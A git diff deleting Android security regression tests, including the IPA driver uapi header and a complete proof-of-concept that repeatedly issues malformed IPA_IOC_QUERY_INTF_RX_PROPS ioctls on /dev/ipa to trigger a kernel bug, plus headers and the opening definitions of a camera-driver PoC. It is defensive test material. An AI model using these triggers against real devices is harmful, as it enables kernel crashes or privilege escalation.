-#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_FLT_RULE, \
-                                        struct ipa_ioc_del_flt_rule *)
-#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
-                                        IPA_IOCTL_COMMIT_HDR)
-#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
-                                        IPA_IOCTL_RESET_HDR)
-#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_COMMIT_RT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_RESET_RT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_COMMIT_FLT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_RESET_FLT, \
-                        enum ipa_ip_type)
-#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_DUMP)
-#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_RT_TBL, \
-                                struct ipa_ioc_get_rt_tbl *)
-#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PUT_RT_TBL, \
-                                uint32_t)
-#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_COPY_HDR, \
-                                struct ipa_ioc_copy_hdr *)
-#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_INTF, \
-                                struct ipa_ioc_query_intf *)
-#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_INTF_TX_PROPS, \
-                                struct ipa_ioc_query_intf_tx_props *)
-#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_QUERY_INTF_RX_PROPS, \
-                                        struct ipa_ioc_query_intf_rx_props *)
-#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
-                                        struct ipa_ioc_query_intf_ext_props *)
-#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_HDR, \
-                                struct ipa_ioc_get_hdr *)
-#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PUT_HDR, \
-                                uint32_t)
-#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_ALLOC_NAT_MEM, \
-                                struct ipa_ioc_nat_alloc_mem *)
-#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_V4_INIT_NAT, \
-                                struct ipa_ioc_v4_nat_init *)
-#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NAT_DMA, \
-                                struct ipa_ioc_nat_dma_cmd *)
-#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_V4_DEL_NAT, \
-                                struct ipa_ioc_v4_nat_del *)
-#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_NAT_OFFSET, \
-                                uint32_t *)
-#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_SET_FLT, \
-                        uint32_t)
-#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PULL_MSG, \
-                                struct ipa_msg_meta *)
-#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_RM_ADD_DEPENDENCY, \
-                                struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_RM_DEL_DEPENDENCY, \
-                                struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GENERATE_FLT_EQ, \
-                                struct ipa_ioc_generate_flt_eq *)
-#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_EP_MAPPING, \
-                                uint32_t)
-#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_RT_TBL_INDEX, \
-                                struct ipa_ioc_get_rt_tbl_indx *)
-#define IPA_IOC_WRITE_QMAPID  _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_WRITE_QMAPID, \
-                                struct ipa_ioc_write_qmapid *)
-#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_MDFY_FLT_RULE, \
-                                        struct ipa_ioc_mdfy_flt_rule *)
-#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_MDFY_RT_RULE, \
-                                        struct ipa_ioc_mdfy_rt_rule *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
-                                struct ipa_wan_msg *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
-                                struct ipa_wan_msg *)
-#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
-                                struct ipa_wan_msg *)
-#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_ADD_HDR_PROC_CTX, \
-                                struct ipa_ioc_add_hdr_proc_ctx *)
-#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_DEL_HDR_PROC_CTX, \
-                                struct ipa_ioc_del_hdr_proc_ctx *)
-
-#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_HW_VERSION, \
-                                enum ipa_hw_type *)
-
-/*
- * unique magic number of the Tethering bridge ioctls
- */
-#define TETH_BRIDGE_IOC_MAGIC 0xCE
-
-/*
- * Ioctls supported by Tethering bridge driver
- */
-#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE        0
-#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS        1
-#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS        2
-#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES        3
-#define TETH_BRIDGE_IOCTL_MAX                        4
-
-
-/**
- * enum teth_link_protocol_type - link protocol (IP / Ethernet)
- */
-enum teth_link_protocol_type {
-        TETH_LINK_PROTOCOL_IP,
-        TETH_LINK_PROTOCOL_ETHERNET,
-        TETH_LINK_PROTOCOL_MAX,
-};
-
-/**
- * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
- */
-enum teth_aggr_protocol_type {
-        TETH_AGGR_PROTOCOL_NONE,
-        TETH_AGGR_PROTOCOL_MBIM,
-        TETH_AGGR_PROTOCOL_TLP,
-        TETH_AGGR_PROTOCOL_MAX,
-};
-
-/**
- * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
- * @aggr_prot:                        Aggregation protocol (MBIM / TLP)
- * @max_transfer_size_byte:        Maximal size of aggregated packet in bytes.
- *                                Default value is 16*1024.
- * @max_datagrams:                Maximal number of IP packets in an aggregated
- *                                packet. Default value is 16
- */
-struct teth_aggr_params_link {
-        enum teth_aggr_protocol_type aggr_prot;
-        uint32_t max_transfer_size_byte;
-        uint32_t max_datagrams;
-};
-
-
-/**
- * struct teth_aggr_params - Aggregation parmeters
- * @ul:        Uplink parameters
- * @dl: Downlink parmaeters
- */
-struct teth_aggr_params {
-        struct teth_aggr_params_link ul;
-        struct teth_aggr_params_link dl;
-};
-
-/**
- * struct teth_aggr_capabilities - Aggregation capabilities
- * @num_protocols:                Number of protocols described in the array
- * @prot_caps[]:                Array of aggregation capabilities per protocol
- */
-struct teth_aggr_capabilities {
-        uint16_t num_protocols;
-        struct teth_aggr_params_link prot_caps[0];
-};
-
-/**
- * struct teth_ioc_set_bridge_mode
- * @link_protocol: link protocol (IP / Ethernet)
- * @lcid: logical channel number
- */
-struct teth_ioc_set_bridge_mode {
-        enum teth_link_protocol_type link_protocol;
-        uint16_t lcid;
-};
-
-/**
- * struct teth_ioc_set_aggr_params
- * @aggr_params: Aggregation parmeters
- * @lcid: logical channel number
- */
-struct teth_ioc_aggr_params {
-        struct teth_aggr_params aggr_params;
-        uint16_t lcid;
-};
-
-
-#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
-                                struct teth_ioc_set_bridge_mode *)
-#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
-                                struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
-                                struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
-                                struct teth_aggr_capabilities *)
-
-/*
- * unique magic number of the ODU bridge ioctls
- */
-#define ODU_BRIDGE_IOC_MAGIC 0xCD
-
-/*
- * Ioctls supported by ODU bridge driver
- */
-#define ODU_BRIDGE_IOCTL_SET_MODE        0
-#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR        1
-#define ODU_BRIDGE_IOCTL_MAX                2
-
-/**
- * enum odu_bridge_mode - bridge mode
- *                        (ROUTER MODE / BRIDGE MODE)
- */
-enum odu_bridge_mode {
-        ODU_BRIDGE_MODE_ROUTER,
-        ODU_BRIDGE_MODE_BRIDGE,
-        ODU_BRIDGE_MODE_MAX,
-};
-
-#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
-                                ODU_BRIDGE_IOCTL_SET_MODE, \
-                                enum odu_bridge_mode)
-
-#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
-                                ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
-                                struct in6_addr *)
-
-#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp b/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp
deleted file mode 100644
index aa9410f..0000000
--- a/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp
+++ /dev/null
@@ -1,64 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
-*/
-
-
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <string.h>
-#include "local_poc.h"
-#include <unistd.h>
-#include <stdio.h>
-
-struct ipa_ioc_query_intf_rx_props_2 {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_rx_props;
-        struct ipa_ioc_rx_intf_prop rx[2];
-};
-int main() {
-
-        int fd = open("/dev/ipa", O_RDWR);
-
-        struct ipa_ioc_query_intf query_intf;
-        strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-
-        int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
-
-        ipa_ioc_query_intf_rx_props_2 rx_props_2;
-        memset(&rx_props_2, 0, sizeof(rx_props_2));
-        strlcpy(&(rx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-        rx_props_2.num_rx_props = 2;
-
-        int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props_2);
-
-        while (true) {
-                ipa_ioc_query_intf_rx_props rx_props;
-                memset(&rx_props, 0, sizeof(rx_props));
-                strlcpy(&(rx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-                rx_props.num_rx_props = 0;
-
-                int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props);
-
-                usleep(10000);
-        }
-        return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
deleted file mode 100644
index bc49a79..0000000
--- a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35139833
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h b/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
deleted file mode 100644
index 9ceba3a..0000000
--- a/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
+++ /dev/null
@@ -1,136 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#ifndef __KILROY_H__
-#define __KILROY_H__
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_ids {
-  INVALID_HEAP_ID = -1,
-  ION_CP_MM_HEAP_ID = 8,
-  ION_CP_MFC_HEAP_ID = 12,
-  ION_CP_WB_HEAP_ID = 16,  /* 8660 only */
-  ION_CAMERA_HEAP_ID = 20, /* 8660 only */
-  ION_SYSTEM_CONTIG_HEAP_ID = 21,
-  ION_ADSP_HEAP_ID = 22,
-  ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
-  ION_SF_HEAP_ID = 24,
-  ION_IOMMU_HEAP_ID = 25,
-  ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
-  ION_QSECOM_HEAP_ID = 27,
-  ION_AUDIO_HEAP_ID = 28,
-
-  ION_MM_FIRMWARE_HEAP_ID = 29,
-  ION_SYSTEM_HEAP_ID = 30,
-
-  ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
-};
-
-/**
- * Flag to use when allocating to indicate that a heap is secure.
- */
-#define ION_FLAG_SECURE (1 << ION_HEAP_ID_RESERVED)
-
-/**
- * Flag for clients to force contiguous memort allocation
- *
- * Use of this flag is carefully monitored!
- */
-#define ION_FLAG_FORCE_CONTIGUOUS (1 << 30)
-
-/**
- * Deprecated! Please use the corresponding ION_FLAG_*
- */
-#define ION_SECURE ION_FLAG_SECURE
-#define ION_FORCE_CONTIGUOUS ION_FLAG_FORCE_CONTIGUOUS
-
-/**
- * Macro should be used with ion_heap_ids defined above.
- */
-#define ION_HEAP(bit) (1 << (bit))
-
-#define ION_IOC_MAGIC 'I'
-
-/**
- * DOC: ION_IOC_ALLOC - allocate memory
- *
- * Takes an ion_allocation_data struct and returns it with the handle field
- * populated with the opaque handle for the allocation.
- */
-#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, struct ion_allocation_data)
-
-/**
- * DOC: ION_IOC_FREE - free memory
- *
- * Takes an ion_handle_data struct and frees the handle.
- */
-#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-/**
- * DOC: ION_IOC_MAP - get a file descriptor to mmap
- *
- * Takes an ion_fd_data struct with the handle field populated with a valid
- * opaque handle.  Returns the struct with the fd field set to a file
- * descriptor open in the current address space.  This file descriptor
- * can then be used as an argument to mmap.
- */
-#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
-
-/**
- * struct ion_allocation_data - metadata passed from userspace for allocations
- * @len:		size of the allocation
- * @align:		required alignment of the allocation
- * @heap_id_mask:	mask of heap ids to allocate from
- * @flags:		flags passed to heap
- * @handle:		pointer that will be populated with a cookie to use to
- *			refer to this allocation
- *
- * Provided by userspace as an argument to the ioctl
- */
-struct ion_allocation_data {
-  size_t len;
-  size_t align;
-  unsigned int heap_id_mask;
-  unsigned int flags;
-  ion_user_handle_t handle;
-};
-
-/**
- * struct ion_fd_data - metadata passed to/from userspace for a handle/fd pair
- * @handle:	a handle
- * @fd:		a file descriptor representing that handle
- *
- * For ION_IOC_SHARE or ION_IOC_MAP userspace populates the handle field with
- * the handle returned from ion alloc, and the kernel returns the file
- * descriptor to share or map in the fd field.  For ION_IOC_IMPORT, userspace
- * provides the file descriptor and the kernel returns the handle.
- */
-struct ion_fd_data {
-  ion_user_handle_t handle;
-  int fd;
-};
-
-/**
- * struct ion_handle_data - a handle passed to/from the kernel
- * @handle:	a handle
- */
-struct ion_handle_data {
-  ion_user_handle_t handle;
-};
-
-#endif /* __KILROY_H__ */
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/poc.c b/hostsidetests/security/securityPatch/Bug-35139833/poc.c
deleted file mode 100644
index 4746aaf..0000000
--- a/hostsidetests/security/securityPatch/Bug-35139833/poc.c
+++ /dev/null
@@ -1,432 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/wait.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include "local_poc.h"
-
-#define VIDEO_MAX_PLANES 8
-#define MAX_PLANES VIDEO_MAX_PLANES
-#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA
-
-enum msm_cpp_batch_mode_t {
-  BATCH_MODE_NONE,
-  BATCH_MODE_VIDEO,
-  BATCH_MODE_PREVIEW
-};
-
-struct msm_cpp_batch_info_t {
-  enum msm_cpp_batch_mode_t batch_mode;
-  uint32_t batch_size;
-  uint32_t intra_plane_offset[MAX_PLANES];
-  uint32_t pick_preview_idx;
-  uint32_t cont_idx;
-};
-
-struct msm_cpp_buffer_info_t {
-  int32_t fd;
-  uint32_t index;
-  uint32_t offset;
-  uint8_t native_buff;
-  uint8_t processed_divert;
-  uint32_t identity;
-};
-
-enum msm_cpp_frame_type {
-  MSM_CPP_OFFLINE_FRAME,
-  MSM_CPP_REALTIME_FRAME,
-};
-
-struct msm_cpp_frame_info_t {
-  int32_t frame_id;
-  struct timeval timestamp;
-  uint32_t inst_id;
-  uint32_t identity;
-  uint32_t client_id;
-  enum msm_cpp_frame_type frame_type;
-  uint32_t num_strips;
-  uint32_t msg_len;
-  uint32_t *cpp_cmd_msg;
-  int src_fd;
-  int dst_fd;
-  struct timeval in_time, out_time;
-  void __user *cookie;
-  int32_t *status;
-  int32_t duplicate_output;
-  uint32_t duplicate_identity;
-  uint32_t feature_mask;
-  uint8_t we_disable;
-  struct msm_cpp_buffer_info_t input_buffer_info;
-  struct msm_cpp_buffer_info_t output_buffer_info[8];
-  struct msm_cpp_buffer_info_t duplicate_buffer_info;
-  struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
-  uint32_t reserved;
-  uint8_t partial_frame_indicator;
-  uint8_t first_payload;
-  uint8_t last_payload;
-  uint32_t first_stripe_index;
-  uint32_t last_stripe_index;
-  uint32_t stripe_info_offset;
-  uint32_t stripe_info;
-  struct msm_cpp_batch_info_t batch_info;
-};
-
-struct msm_camera_v4l2_ioctl_t {
-  uint32_t id;
-  size_t len;
-  int32_t trans_code;
-  void __user *ioctl_ptr;
-};
-
-struct msm_cpp_stream_buff_info_t {
-  uint32_t identity;
-  uint32_t num_buffs;
-  struct msm_cpp_buffer_info_t *buffer_info;
-};
-
-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
-
-#define VIDIOC_MSM_CPP_CFG \
-  _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)
-
-struct v4l2_fract {
-  __u32 numerator;
-  __u32 denominator;
-};
-
-struct v4l2_outputparm {
-  __u32 capability;               /*  Supported modes */
-  __u32 outputmode;               /*  Current mode */
-  struct v4l2_fract timeperframe; /*  Time per frame in seconds */
-  __u32 extendedmode;             /*  Driver-specific extensions */
-  __u32 writebuffers;             /*  # of buffers for write */
-  __u32 reserved[4];
-};
-
-/*
- *  CAPTURE PARAMETERS
- */
-struct v4l2_captureparm {
-  __u32 capability;               /*  Supported modes */
-  __u32 capturemode;              /*  Current mode */
-  struct v4l2_fract timeperframe; /*  Time per frame in seconds */
-  __u32 extendedmode;             /*  Driver-specific extensions */
-  __u32 readbuffers;              /*  # of buffers for read */
-  __u32 reserved[4];
-};
-
-/*  Stream type-dependent parameters
- */
-struct v4l2_streamparm {
-  __u32 type; /* enum v4l2_buf_type */
-  union {
-    struct v4l2_captureparm capture;
-    struct v4l2_outputparm output;
-    __u8 raw_data[200]; /* user-defined */
-  } parm;
-};
-
-#define VIDIOC_S_PARM _IOWR('V', 22, struct v4l2_streamparm)
-
-#define VIDIOC_STREAMON _IOW('V', 18, int)
-
-struct v4l2_pix_format {
-  __u32 width;
-  __u32 height;
-  __u32 pixelformat;
-  __u32 field;        /* enum v4l2_field */
-  __u32 bytesperline; /* for padding, zero if unused */
-  __u32 sizeimage;
-  __u32 colorspace; /* enum v4l2_colorspace */
-  __u32 priv;       /* private data, depends on pixelformat */
-  __u32 flags;      /* format flags (V4L2_PIX_FMT_FLAG_*) */
-};
-
-struct v4l2_plane_pix_format {
-  __u32 sizeimage;
-  __u16 bytesperline;
-  __u16 reserved[7];
-} __attribute__((packed));
-
-struct v4l2_pix_format_mplane {
-  __u32 width;
-  __u32 height;
-  __u32 pixelformat;
-  __u32 field;
-  __u32 colorspace;
-
-  struct v4l2_plane_pix_format plane_fmt[VIDEO_MAX_PLANES];
-  __u8 num_planes;
-  __u8 flags;
-  __u8 reserved[10];
-} __attribute__((packed));
-
-struct v4l2_rect {
-  __s32 left;
-  __s32 top;
-  __u32 width;
-  __u32 height;
-};
-
-struct v4l2_vbi_format {
-  __u32 sampling_rate; /* in 1 Hz */
-  __u32 offset;
-  __u32 samples_per_line;
-  __u32 sample_format; /* V4L2_PIX_FMT_* */
-  __s32 start[2];
-  __u32 count[2];
-  __u32 flags;       /* V4L2_VBI_* */
-  __u32 reserved[2]; /* must be zero */
-};
-
-struct v4l2_sliced_vbi_format {
-  __u16 service_set;
-  __u16 service_lines[2][24];
-  __u32 io_size;
-  __u32 reserved[2]; /* must be zero */
-};
-struct v4l2_sdr_format {
-  __u32 pixelformat;
-  __u32 buffersize;
-  __u8 reserved[24];
-} __attribute__((packed));
-
-struct v4l2_clip {
-  struct v4l2_rect c;
-  struct v4l2_clip __user *next;
-};
-
-struct v4l2_window {
-  struct v4l2_rect w;
-  __u32 field; /* enum v4l2_field */
-  __u32 chromakey;
-  struct v4l2_clip __user *clips;
-  __u32 clipcount;
-  void __user *bitmap;
-  __u8 global_alpha;
-};
-
-struct v4l2_format {
-  __u32 type;
-  union {
-    struct v4l2_pix_format pix; /* V4L2_BUF_TYPE_VIDEO_CAPTURE */
-    struct v4l2_pix_format_mplane
-        pix_mp;                 /* V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE */
-    struct v4l2_window win;     /* V4L2_BUF_TYPE_VIDEO_OVERLAY */
-    struct v4l2_vbi_format vbi; /* V4L2_BUF_TYPE_VBI_CAPTURE */
-    struct v4l2_sliced_vbi_format sliced; /* V4L2_BUF_TYPE_SLICED_VBI_CAPTURE */
-    struct v4l2_sdr_format sdr;           /* V4L2_BUF_TYPE_SDR_CAPTURE */
-    __u8 raw_data[200];                   /* user-defined */
-  } fmt;
-};
-
-enum v4l2_buf_type {
-  V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
-  V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
-  V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
-  V4L2_BUF_TYPE_VBI_CAPTURE = 4,
-  V4L2_BUF_TYPE_VBI_OUTPUT = 5,
-  V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
-  V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
-#if 1
-  /* Experimental */
-  V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
-#endif
-  V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
-  V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
-  V4L2_BUF_TYPE_SDR_CAPTURE = 11,
-  /* Deprecated, do not use */
-  V4L2_BUF_TYPE_PRIVATE = 0x80,
-};
-
-/* map to v4l2_format.fmt.raw_data */
-struct msm_v4l2_format_data {
-  enum v4l2_buf_type type;
-  unsigned int width;
-  unsigned int height;
-  unsigned int pixelformat; /* FOURCC */
-  unsigned char num_planes;
-  unsigned int plane_sizes[VIDEO_MAX_PLANES];
-};
-
-#define VIDIOC_S_FMT _IOWR('V', 5, struct v4l2_format)
-
-struct v4l2_timecode {
-  __u32 type;
-  __u32 flags;
-  __u8 frames;
-  __u8 seconds;
-  __u8 minutes;
-  __u8 hours;
-  __u8 userbits[4];
-};
-
-struct v4l2_plane {
-  __u32 bytesused;
-  __u32 length;
-  union {
-    __u32 mem_offset;
-    unsigned long userptr;
-    __s32 fd;
-  } m;
-  __u32 data_offset;
-  __u32 reserved[11];
-};
-
-struct v4l2_buffer {
-  __u32 index;
-  __u32 type;
-  __u32 bytesused;
-  __u32 flags;
-  __u32 field;
-  struct timeval timestamp;
-  struct v4l2_timecode timecode;
-  __u32 sequence;
-
-  /* memory location */
-  __u32 memory;
-  union {
-    __u32 offset;
-    unsigned long userptr;
-    struct v4l2_plane *planes;
-    __s32 fd;
-  } m;
-  __u32 length;
-  __u32 reserved2;
-  __u32 reserved;
-};
-
